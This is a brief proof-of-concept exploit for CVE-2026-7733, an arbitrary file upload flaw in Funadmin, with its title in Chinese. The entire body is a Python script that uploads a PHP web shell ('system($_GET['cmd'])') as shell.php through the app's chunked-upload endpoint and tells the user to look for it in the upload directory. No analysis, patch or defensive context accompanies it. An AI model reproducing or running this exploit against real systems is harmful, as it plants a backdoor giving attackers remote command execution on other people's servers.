CVE-2026-7733: Funadmin任意文件上传漏洞

import requests # Target URL (Example, adjust based on actual route) target_url = "http://target.com/api/common/upload/chunk" # Malicious PHP payload php_code = "<?php system($_GET['cmd']); ?>" # Prepare files and data for chunked upload simulation files = { 'file': ('shell.php', php_code, 'application/octet-stream') } data = { 'chunk': '0', 'chunks': '1', 'name': 'shell.php' } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Payload uploaded successfully.") print("[+] Check the upload directory for the shell.") else: print("[-] Failed to upload payload.") except Exception as e: print(f"Error: {e}")